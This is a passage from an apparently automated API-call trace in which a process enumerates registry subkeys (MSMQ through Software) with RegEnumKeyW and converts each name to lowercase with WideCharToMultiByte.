CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x23fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x23fb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x23fb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0247.578] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x23fb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0247.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x23fb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x23fb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x23fb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x23fb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x23fb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x23fc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x23fb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0247.579] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x23fb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x23fb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x23fc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x23fb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x23fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x23fb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x23fb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x23fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x23fb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0247.580] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x23fb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x23fc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x23fb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x23fb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x23fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x23fb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x23fb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x23fb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x23fb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0247.581] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x23fb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x23fb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x23fb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x23fc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x23fb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x23fb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x23fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x23fb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x23fb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0247.582] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x23fb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0247.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x23fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x23fb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x23fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x23fb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x23fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x23fb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x23fb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x23fb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x23fb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x23fc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0247.583] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x23fb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x23fb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x23fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x23fb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.584] WideCharToMultiByte (in: 